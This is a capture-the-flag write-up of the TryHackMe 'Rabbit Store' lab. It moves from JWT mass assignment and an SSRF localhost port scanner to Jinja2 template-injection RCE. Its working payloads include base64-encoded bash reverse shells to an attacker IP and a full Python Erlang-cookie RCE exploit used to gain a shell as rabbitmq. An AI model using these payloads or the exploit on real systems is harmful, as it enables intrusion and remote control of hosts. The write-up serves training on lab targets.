# Rabbit Store

{% embed url="<https://tryhackme.com/room/rabbitstore>" %}

The following post by 0xb0b is licensed under [CC BY 4.0<img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg?ref=chooser-v1" alt="" data-size="line"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg?ref=chooser-v1" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

***

## Recon

We start with a Nmap scan and find four open ports, including port `22` SSH, `80` a web server, `4369` Erlang Port Mapper Daemon, `25672` RabbitMQ.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FuatobIA0NoXGPJHhDHiE%2Fgrafik.png?alt=media&#x26;token=2d82130d-81e4-4121-bbe3-2d1d502f3b0e" alt=""><figcaption></figcaption></figure>

From our service and script scan we directly find out the domain of the webserver:

```
http://cloudsite.thm/
```

We add this in our `/etc/hosts` and visit the page. We find a static page with a login.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FoiOVMhMWqvS6DfMFGm1D%2Fgrafik.png?alt=media&#x26;token=249bc492-c956-474c-88a6-17e7084d72fd" alt=""><figcaption></figcaption></figure>

Since we have a domain given, we use FFuF to search for subdomains and find `storage.cloudsite.thm` and add it to our `/etc/hosts` file.

{% code overflow="wrap" %}

```
ffuf -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -u http://cloudsite.thm/ -H "Host:FUZZ.cloudsite.thm" -fw 18
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Ftaiv1XCGJwQELIFGnfD9%2Fgrafik.png?alt=media&#x26;token=015add8b-a92e-4e4c-bceb-67d989a5570a" alt=""><figcaption></figcaption></figure>

If we had tried to log in, we would have noticed the subdomain. We click on Signup and create an account.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FuCMEdbRVYVmh3pYl8VY8%2Fgrafik.png?alt=media&#x26;token=0ee413f9-803d-4529-8c12-4815b2b3520f" alt=""><figcaption></figcaption></figure>

After we have logged in with our created account, we see that the services are only available for internal users and our newly created account has to be activated by an administrator.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fh3CQigF2j8Xg7717xEnc%2Fgrafik.png?alt=media&#x26;token=72682d79-43dc-4fc3-97a2-e4e8e2663bd4" alt=""><figcaption></figcaption></figure>

## Privileged Web Access&#x20;

We find a jwt token in our cookies.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FvlGvV0AprbIbvKcKpi3k%2Fgrafik.png?alt=media&#x26;token=57412a9c-7f02-4d46-ba8e-ec8777be5826" alt=""><figcaption></figcaption></figure>

We inspect the token using jwt.io and see that the subscription is also defined in it. Unfortunately, changing the token does not help, as the signature would no longer be valid.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F06gM5IsaIaQOgfTosjS3%2Fgrafik.png?alt=media&#x26;token=52cce485-298c-431e-aea5-28faaefb4eb1" alt=""><figcaption></figcaption></figure>

We go back one step and create another account and inspect the request using Burp Suite. We see that email and password are transmitted in plain text in JSON.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FKp6PIkDplqGseoOa55EK%2Fgrafik.png?alt=media&#x26;token=c49cab0f-74c0-48c4-a773-19ff1a144c0f" alt=""><figcaption></figcaption></figure>

We simply add the attribute `"subscription": "active"` in the hope that this will be taken into account when the token is created and that we have a JWT token forgery vulnerability in front of us.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FFu9WEa3u7fDWVMaNYXyu%2Fgrafik.png?alt=media&#x26;token=6cb2578b-4862-41c1-90fe-6a1dd7eb1e8f" alt=""><figcaption></figcaption></figure>

After we have created the account, we log in and inspect the token. The set attribute of the subscription has indeed been taken into account.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FpG0Lb7FZQGuOmuGocOtT%2Fgrafik.png?alt=media&#x26;token=25dd5fc4-728a-43b1-a03e-066dae1f9737" alt=""><figcaption></figcaption></figure>

We are now able to use the services. Including a file upload.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F5YuREGQwTWamsvmjOyjI%2Fgrafik.png?alt=media&#x26;token=b9f637cb-78e5-41fd-926f-4baa522f6006" alt=""><figcaption></figcaption></figure>

However, this does not appear to be vulnerable...

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FU0EawiWiOTNKm8EQtdmd%2Fgrafik.png?alt=media&#x26;token=7fa1a48a-4060-4faa-a086-158a18d918fb" alt=""><figcaption></figcaption></figure>

## API Docs via SSRF

We noticed the `/api/` path during registration and are looking for further API endpoints. We enumerate these using FFuF. Here we find `/api/docs`, among others. Perhaps there are others that we cannot find with our wordlist.

```
ffuf -w /usr/share/wordlists/dirb/big.txt -u 'http://storage.cloudsite.thm/api/FUZZ'
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F4AryB68bUGqafi01v6Fa%2Fgrafik.png?alt=media&#x26;token=c7280133-5194-4a4e-9d6e-28824080d73c" alt=""><figcaption></figcaption></figure>

Unfortunately, we do not have access to these.

```
http://storage.cloudsite.thm/api/docs
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F3I1EEdfwZGknxSnChQWH%2Fgrafik.png?alt=media&#x26;token=cdfb89bf-785f-412a-8859-d31a120e4c25" alt=""><figcaption></figcaption></figure>

If we scroll down a little further we also find an upload via URL. Server side request forgery could be possible here. And perhaps we could then use it to call up `http://storage.cloudsite.thm/api/docs`.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FVrvwk6JlHNy80ghZYg2l%2Fgrafik.png?alt=media&#x26;token=7a4f5974-35aa-4b2f-a907-580fc35bf629" alt=""><figcaption></figcaption></figure>

Firstly, we test it with our web server.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F6edXckxY3GDxcg3oZWsr%2Fgrafik.png?alt=media&#x26;token=ef07ab32-b645-4db5-af25-8713eb436698" alt=""><figcaption></figcaption></figure>

And see the request made.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FfcImfLce2PP6XpKwNqxF%2Fgrafik.png?alt=media&#x26;token=392861ad-a762-4415-a15e-f550f01b946d" alt=""><figcaption></figcaption></figure>

Next we try to access the `/api/docs` endpoint locally on port 80:

```
http://127.0.0.1:80/api/docs
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fnh31VlFRARAR4hbFiCcZ%2Fgrafik.png?alt=media&#x26;token=f4196eb0-38a6-40ef-91f9-b83a1f37039a" alt=""><figcaption></figcaption></figure>

We receive an upload path. But port 80 does not seem to be the API endpoint.

```
http://storage.cloudsite.thm/api/uploads/d7d3e2ef-3e5a-41ca-accf-ec32e184dc53
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FpcCUguiEzanzzoAcYEr1%2Fgrafik.png?alt=media&#x26;token=ab1555fa-9049-44d7-ba41-c0a334b56bd7" alt=""><figcaption></figcaption></figure>

We use a script to find more services on other ports on localhost. To do this, we simply check whether the requested service gives us a download link.

{% code title="enum-services.py" overflow="wrap" lineNumbers="true" %}

```python
import requests

# Base URL and endpoint
base_url = "http://storage.cloudsite.thm/api/store-url"

# Headers
headers = {
    "Cookie": "jwt=REDACTED",
    "Content-Type": "application/json"
}

# Function to make POST request to a specific port
def make_request(port):
    # URL to test
    test_url = f"http://127.0.0.1:{port}"
    data = {"url": test_url}

    try:
        # Make the POST request
        response = requests.post(base_url, headers=headers, json=data)

        # Check if the response contains a non-empty "path"
        if response.status_code == 200:
            json_response = response.json()
            if "path" in json_response and json_response["path"]:
                print(f"Port: {port}, Path: {json_response['path']}")
    except requests.RequestException as e:
        # Handle potential request errors
        print(f"Error on port {port}: {e}")

# Iterate over a range of ports (1 to 65535)
for port in range(1, 65536):
    make_request(port)

```

{% endcode %}

And there is another service running on port `3000`.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FgC6MdTHacmtJsTnLoOky%2Fgrafik.png?alt=media&#x26;token=b728c84d-c687-45c9-86e4-c8de77b58d38" alt=""><figcaption></figcaption></figure>

We make a request for `http://127.0.0.1:3000/api/docs`...

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FO2Wne1mmxDKEHFuoKG5z%2Fgrafik.png?alt=media&#x26;token=5bbf8f27-78dd-496b-bfa8-004e35b72419" alt=""><figcaption></figcaption></figure>

... And we recieve the documentation with the endpoint `/api/fetch_messeges_from_chatbot`, which is still under development.

```
http://storage.cloudsite.thm/api/uploads/bcfca7b1-6e8f-49e0-90f7-3db09676f79f
```

```
Endpoints Perfectly Completed

POST Requests:
/api/register - For registering user
/api/login - For loggin in the user
/api/upload - For uploading files
/api/store-url - For uploadion files via url
/api/fetch_messeges_from_chatbot - Currently, the chatbot is under development. Once development is complete, it will be used in the future.

GET Requests:
/api/uploads/filename - To view the uploaded files
/dashboard/inactive - Dashboard for inactive user
/dashboard/active - Dashboard for active user

Note: All requests to this endpoint are sent in JSON format.

```

## SSTI to RCE

We try to make a request, but GET methods are not allowed.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FakMc5xfUwgigW4uqfrVO%2Fgrafik.png?alt=media&#x26;token=83ecb639-078e-4dd2-bfd8-ff6df8a28da0" alt=""><figcaption></figcaption></figure>

We capture our GET request using Burp Suite...

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FnxZqE2U4dGr7oD7Uu1s8%2Fgrafik.png?alt=media&#x26;token=8f3ee16f-10c8-4896-a8b3-7a791db9ba0e" alt=""><figcaption></figcaption></figure>

... and change it to a POST request using Burp. We get a message, that the token is required, we removed.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fi01I2611q2ABtho69gbp%2Fgrafik.png?alt=media&#x26;token=f943df57-b9a9-4701-8e53-b14062ba6bc2" alt=""><figcaption></figcaption></figure>

We add the token, and a username parameter is required.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FNXg1JE2ETzAxTEQ6pD6g%2Fgrafik.png?alt=media&#x26;token=8f5338ac-2f80-4460-bbb4-f5a3c95a0536" alt=""><figcaption></figcaption></figure>

Since the error message is JSON, and we know the format from the login as JSON, we also provide the username in JSON. Our username gets reflected.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FZHtksk0w6r3Dh8tlnhxH%2Fgrafik.png?alt=media&#x26;token=5bedd287-7d66-4849-bf3b-f5c4c44ac884" alt=""><figcaption></figcaption></figure>

We simply test for Server Side Template Injection (SSTI) and it gets evaluated.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FcEPUrSXwH6hyCAdXue2H%2Fgrafik.png?alt=media&#x26;token=a190ae71-5a44-41b2-a68b-9d7916dffa8f" alt=""><figcaption></figcaption></figure>

We use a payload from Ingo Kleiber to test for RCE on Flask (Jinja2) SSTI and are successful.

{% embed url="<https://kleiber.me/blog/2021/10/31/python-flask-jinja2-ssti-example/>" %}

```
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FRJGee41dInAiN6M4yH0P%2Fgrafik.png?alt=media&#x26;token=8daa89ac-8a7a-4b05-9986-039fb7afde93" alt=""><figcaption></figcaption></figure>

## Shell as azrael

Since we have RCE through SSTI, we prepare a reverse shell using `revshells.com`.

```
revshells.com
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FpzhYz1W7POuIAJkyehAq%2Fgrafik.png?alt=media&#x26;token=6a2eb9dc-5de5-40ad-88e8-4c52aa65f42a" alt=""><figcaption></figcaption></figure>

Next, we prepare our SSTI payload, set up a listener on our desired port and submit the request.

```
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
```

{% code overflow="wrap" %}

```
{{request.application.__globals__.__builtins__.__import__('os').popen('echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjE0LjkwLjIzNS80NDQ1IDA+JjE=|base64 -d|bash').read()}}
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F4MAgj1M8iK5JobdStVGW%2Fgrafik.png?alt=media&#x26;token=b66bc7ff-4fa0-4d02-9313-c518120cc1ac" alt=""><figcaption></figcaption></figure>

We get a connection back, and are the user `azrael`. We upgrade our shell.

{% embed url="<https://0xffsec.com/handbook/shells/full-tty/>" %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FKvRNQC2h8R18h7ww2GC9%2Fgrafik.png?alt=media&#x26;token=9f74647d-fa1e-4c40-8745-679c04a236f4" alt=""><figcaption></figcaption></figure>

The user flag can be found in the home directory of `azrael`.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FqnEPSmyQemYpi8FFicvP%2Fgrafik.png?alt=media&#x26;token=224e8ea0-e1aa-4079-9e70-b095c37fca27" alt=""><figcaption></figcaption></figure>

## Shell as rabbitmq

On enumerating the target we also use pspy. It is a command line tool designed to snoop on processes without need for root permissions.

{% embed url="<https://github.com/DominicBreuker/pspy>" %}

We download and execute the tool.&#x20;

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FbxapOQyCayQ2z9TC99WF%2Fgrafik.png?alt=media&#x26;token=c834196d-02eb-4509-b643-030ac8a4515f" alt=""><figcaption></figcaption></figure>

And there is something going on using Erlang and RabbitMQ. We recall the Nmap scan with the results on `4369` Erlang Port Mapper Daemon, `25672` RabbitMQ.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fz4lIIpmZwoDLOSewNTnQ%2Fgrafik.png?alt=media&#x26;token=c8f33adb-491d-4952-8404-77178a9cbdaf" alt=""><figcaption></figcaption></figure>

```
2024/09/18 17:37:23 CMD: UID=124   PID=28610  | sh -c exec /bin/sh -s unix:cmd 
2024/09/18 17:37:23 CMD: UID=124   PID=28611  | /usr/bin/df -kP /var/lib/rabbitmq/mnesia/rabbit@forge 
2024/09/18 17:37:33 CMD: UID=124   PID=28612  | sh -c exec /bin/sh -s unix:cmd 
2024/09/18 17:37:33 CMD: UID=124   PID=28613  | /bin/sh -s unix:cmd 
2024/09/18 17:37:43 CMD: UID=124   PID=28614  | sh -c exec /bin/sh -s unix:cmd 
2024/09/18 17:37:43 CMD: UID=124   PID=28615  | 
2024/09/18 17:37:53 CMD: UID=124   PID=28616  | /bin/sh -s unix:cmd 
2024/09/18 17:37:53 CMD: UID=124   PID=28617  | /bin/sh -s unix:cmd 
2024/09/18 17:38:03 CMD: UID=124   PID=28618  | sh -c exec /bin/sh -s unix:cmd 
2024/09/18 17:38:03 CMD: UID=124   PID=28619  | /bin/sh -s unix:cmd 
2024/09/18 17:38:13 CMD: UID=124   PID=28620  | sh -c exec /bin/sh -s unix:cmd 
2024/09/18 17:38:13 CMD: UID=124   PID=28621  | /bin/sh -s unix:cmd 
2024/09/18 17:38:17 CMD: UID=124   PID=28622  | /bin/sh /usr/lib/erlang/bin/erl -boot no_dot_erlang -sname epmd-starter-306439827 -noinput -s erlang halt 
2024/09/18 17:38:17 CMD: UID=124   PID=28624  | /bin/sh /usr/lib/erlang/bin/erl -boot no_dot_erlang -sname epmd-starter-306439827 -noinput -s erlang halt 
2024/09/18 17:38:17 CMD: UID=124   PID=28623  | /bin/sh /usr/lib/erlang/bin/erl -boot no_dot_erlang -sname epmd-starter-306439827 -noinput -s erlang halt 
2024/09/18 17:38:17 CMD: UID=124   PID=28625  | sed s/.*\/// 
2024/09/18 17:38:17 CMD: UID=124   PID=28626  | /usr/lib/erlang/erts-12.2.1/bin/erlexec -boot no_dot_erlang -sname epmd-starter-306439827 -noinput -s erlang halt 
2024/09/18 17:38:17 CMD: UID=124   PID=28627  | /usr/lib/erlang/erts-12.2.1/bin/epmd -daemon 
2024/09/18 17:38:17 CMD: UID=124   PID=28628  | /usr/lib/erlang/erts-12.2.1/bin/epmd -daemon 
2024/09/18 17:38:17 CMD: UID=124   PID=28629  | /usr/lib/erlang/erts-12.2.1/bin/epmd -daemon 
2024/09/18 17:38:17 CMD: UID=124   PID=28633  | /usr/lib/erlang/erts-12.2.1/bin/beam.smp -- -root /usr/lib/erlang -progname erl -- -home /var/lib/rabbitmq -- -boot no_dot_erlang -sname epmd-starter-306439827 -noshell -noinput -s erlang halt                                                                                                              
2024/09/18 17:38:18 CMD: UID=124   PID=28650  | sh -c exec inet_gethost 4  
2024/09/18 17:38:18 CMD: UID=124   PID=28651  | inet_gethost 4 
2024/09/18 17:38:23 CMD: UID=124   PID=28652  | sh -c exec /bin/sh -s unix:cmd 
2024/09/18 17:38:33 CMD: UID=124   PID=28654  | sh -c exec /bin/sh -s unix:cmd 
2024/09/18 17:38:33 CMD: UID=124   PID=28655  | /bin/sh -s unix:cmd 
2024/09/18 17:38:43 CMD: UID=124   PID=28656  | sh -c exec /bin/sh -s unix:cmd 
```

If we ask ChatGPT about the output we get some more information. It might be related to RabbitMQ  and Erlang. RabbitMQ is an open-source message broker that enables applications to communicate using a queue-based messaging system, supporting multiple protocols like AMQP. It is used for distributed systems, event-driven architectures, and microservices to decouple and scale workloads efficiently.

ChatGPT:

> This log appears to represent a series of shell commands being executed by the user with UID 124, involving RabbitMQ and the Erlang environment, specifically invoking various Unix shell commands. The frequent appearance of sh -c exec /bin/sh -s unix:cmd suggests the use of shell scripts or commands being run in response to Unix system-level interactions.
>
> Several commands reference Erlang's epmd (Erlang Port Mapper Daemon), which indicates that RabbitMQ (built on top of Erlang) is likely being managed or configured. The sequence where Erlang's beam.smp and epmd are invoked points to RabbitMQ processes being started, stopped, or checked. Additionally, these may involve DNS queries or hostname resolution (inet\_gethost commands).
>
> This log suggests the orchestration of processes related to RabbitMQ and possibly diagnostics or system administration tasks within an environment relying heavily on Erlang.
>
> If you’re analyzing this for potential security or performance issues, I’d suggest investigating why multiple sh shells are being spawned and what commands are being passed to the Unix shell to ensure there is no unintended behavior or vulnerability exploitation. Is this part of your current challenge or a live environment

A look into the `/etc/passwd` file confirms, that there is the user `rabbitmq`.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FxG9xNZl0ZlMWD5jr0AJS%2Fgrafik.png?alt=media&#x26;token=0a3cad89-c497-4fac-9156-e103f2af3ae7" alt=""><figcaption></figcaption></figure>

At `/var/lib/rabbitmq/` we can find an erlang cookie.&#x20;

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FXpZfrdJQvE6zUgCsn2kz%2Fgrafik.png?alt=media&#x26;token=338cb97a-e355-4188-9be9-bcb7b921f454" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FHwh5Efuttgrw5rEvaIIW%2Fgrafik.png?alt=media&#x26;token=f1633800-b39c-49b4-98c2-d1719e1b2623" alt=""><figcaption></figcaption></figure>

This cookie might enable us to get RCE via Erlang.

{% embed url="<https://book.hacktricks.xyz/network-services-pentesting/4369-pentesting-erlang-port-mapper-daemon-epmd#erlang-cookie-rce>" %}

The following repository contains several exploits regarding Erlang with RabbitMQ. One of which would allow us RCE: `shell-erldp.py`.

{% embed url="<https://github.com/gteissier/erl-matter>" %}

But we receive errors on running the exploit.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F7mTAcfNrdQ1OfIKW4XE7%2Fgrafik.png?alt=media&#x26;token=a7c21eeb-6ce1-4c8e-9ac4-898b953d1bc1" alt=""><figcaption></figcaption></figure>

For a fix we use ChatGPT to add verbose debugging and error handling:

{% code title="shell-erldp2.py" overflow="wrap" lineNumbers="true" %}

```python
#!/usr/bin/env python2

from struct import pack, unpack
from cStringIO import StringIO
from socket import socket, AF_INET, SOCK_STREAM, SHUT_RDWR
from hashlib import md5
from binascii import hexlify, unhexlify
from random import choice
from string import ascii_uppercase
import sys
import argparse
import erlang as erl

def rand_id(n=6):
  return ''.join([choice(ascii_uppercase) for c in range(n)]) + '@nowhere'

parser = argparse.ArgumentParser(description='Execute shell command through Erlang distribution protocol')

parser.add_argument('target', action='store', type=str, help='Erlang node address or FQDN')
parser.add_argument('port', action='store', type=int, help='Erlang node TCP port')
parser.add_argument('cookie', action='store', type=str, help='Erlang cookie')
parser.add_argument('--verbose', action='store_true', help='Output decode Erlang binary term format received')
parser.add_argument('--challenge', type=int, default=0, help='Set client challenge value')
parser.add_argument('cmd', default=None, nargs='?', action='store', type=str, help='Shell command to execute, defaults to interactive shell')

args = parser.parse_args()

name = rand_id()

sock = socket(AF_INET, SOCK_STREAM, 0)
assert(sock)

sock.connect((args.target, args.port))

def send_name(name):
  FLAGS = (
    0x7499c +
    0x01000600 # HANDSHAKE_23|BIT_BINARIES|EXPORT_PTR_TAG
  )
  return pack('!HcQIH', 15 + len(name), 'N', FLAGS, 0xdeadbeef, len(name)) + name

sock.sendall(send_name(name))

data = sock.recv(5)
assert(data == '\x00\x03\x73\x6f\x6b')

data = sock.recv(4096)
(length, tag, flags, challenge, creation, nlen) = unpack('!HcQIIH', data[:21])
assert(tag == 'N')
assert(nlen + 19 == length)
challenge = '%u' % challenge

def send_challenge_reply(cookie, challenge):
  m = md5()
  m.update(cookie)
  m.update(challenge)
  response = m.digest()
  return pack('!HcI', len(response)+5, 'r', args.challenge) + response

sock.sendall(send_challenge_reply(args.cookie, challenge))


data = sock.recv(3)
if len(data) == 0:
  print('wrong cookie, auth unsuccessful')
  sys.exit(1)
else:
  assert(data == '\x00\x11\x61')
  digest = sock.recv(16)
  assert(len(digest) == 16)

print('[*] authenticated onto victim')


# Protocol between connected nodes is based on pre 5.7.2 format
def erl_dist_recv(f):
  hdr = f.recv(4)
  if len(hdr) != 4: return
  (length,) = unpack('!I', hdr)
  data = f.recv(length)
  if len(data) != length: return

  # Remove 0x70 from the head of the stream
  data = data[1:]

  print("Received data to parse: %s" % data)  # Logging the raw data

  while data:
    try:
      (parsed, term) = erl.binary_to_term(data)
      if parsed <= 0:
        print('Failed to parse Erlang term, raw data: %s' % data)
        break
    except erl.ParseException as e:
      print('ParseException occurred: %s. Data: %s' % (str(e), data))
      break

    print("Parsed term: %s" % str(term))  # Log parsed term for debugging

    yield term
    data = data[parsed:]


def encode_string(name, type=0x64):
  return pack('!BH', type, len(name)) + name

def send_cmd_old(name, cmd):
  data = (unhexlify('70836804610667') + 
    encode_string(name) + 
    unhexlify('0000000300000000006400006400037265') +
    unhexlify('7883680267') + 
    encode_string(name) + 
    unhexlify('0000000300000000006805') +
    encode_string('call') +
    encode_string('os') +
    encode_string('cmd') +
    unhexlify('6c00000001') + 
    encode_string(cmd, 0x6b) + 
    unhexlify('6a') + 
    encode_string('user'))

  return pack('!I', len(data)) + data


def send_cmd(name, cmd):
  # REG_SEND control message
  ctrl_msg = (6,
    erl.OtpErlangPid(erl.OtpErlangAtom(name), '\x00\x00\x00\x03', '\x00\x00\x00\x00', '\x00'),
    erl.OtpErlangAtom(''),
    erl.OtpErlangAtom('rex'))
  msg = (
    erl.OtpErlangPid(erl.OtpErlangAtom(name), '\x00\x00\x00\x03', '\x00\x00\x00\x00', '\x00'),
    (
      erl.OtpErlangAtom('call'),
      erl.OtpErlangAtom('os'),
      erl.OtpErlangAtom('cmd'),
      [cmd],
      erl.OtpErlangAtom('user')
    ))

  new_data = '\x70' + erl.term_to_binary(ctrl_msg) + erl.term_to_binary(msg)

  print("Sending command data: %s" % new_data)  # Log the command being sent

  return pack('!I', len(new_data)) + new_data

def recv_reply(f):
  terms = [t for t in erl_dist_recv(f)]
  if args.verbose:
    print('\nReceived terms: %r' % (terms))

  if len(terms) < 2:
    print("Error: Unexpected number of terms received")
    return None

  answer = terms[1]
  if len(answer) != 2:
    print("Error: Unexpected structure in answer")
    return None

  return answer[1]


if not args.cmd:
  while True:
    try:
      cmd = raw_input('%s:%d $ ' % (args.target, args.port))
    except EOFError:
      print('')
      break

    sock.sendall(send_cmd(name, cmd))

    reply = recv_reply(sock)
    if reply:
      sys.stdout.write(reply)
    else:
      print("Failed to receive a valid reply")

else:
  sock.sendall(send_cmd(name, args.cmd))

  reply = recv_reply(sock)
  if reply:
    sys.stdout.write(reply)
  else:
    print("Failed to receive a valid reply")


print('[*] disconnecting from victim')
sock.close()

```

{% endcode %}

We use the our customized `shell-erldp2.py` and are able to get an instable shell.

```
python2 shell-erldp2.py rabbitstore.thm 25672 REDACTED
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FZ13MXP28tzYA4DKdat0O%2Fgrafik.png?alt=media&#x26;token=00d184d6-0716-4163-ad2d-bba5505ff872" alt=""><figcaption></figcaption></figure>

Next, we prepare a reverse shell payload using `revshells.com`.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FVCW3ZIhYqMx0trkVQ2Rn%2Fgrafik.png?alt=media&#x26;token=24c49922-90e3-416c-bb1b-88da6000b552" alt=""><figcaption></figcaption></figure>

We set up a listener and issue the command to get a reverse shell.

{% code overflow="wrap" %}

```
python2 shell-erldp2.py rabbitstore.thm 25672 REDACTED 'echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjE0LjkwLjIzNS80NDQ2IDA+JjE= | base64 -d | bash'
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F11jusSROWMYVmsSEeMbB%2Fgrafik.png?alt=media&#x26;token=8bc7f449-6189-4f59-938b-55eb831628e6" alt=""><figcaption></figcaption></figure>

We get a connection back and are the user `rabbitmq`.

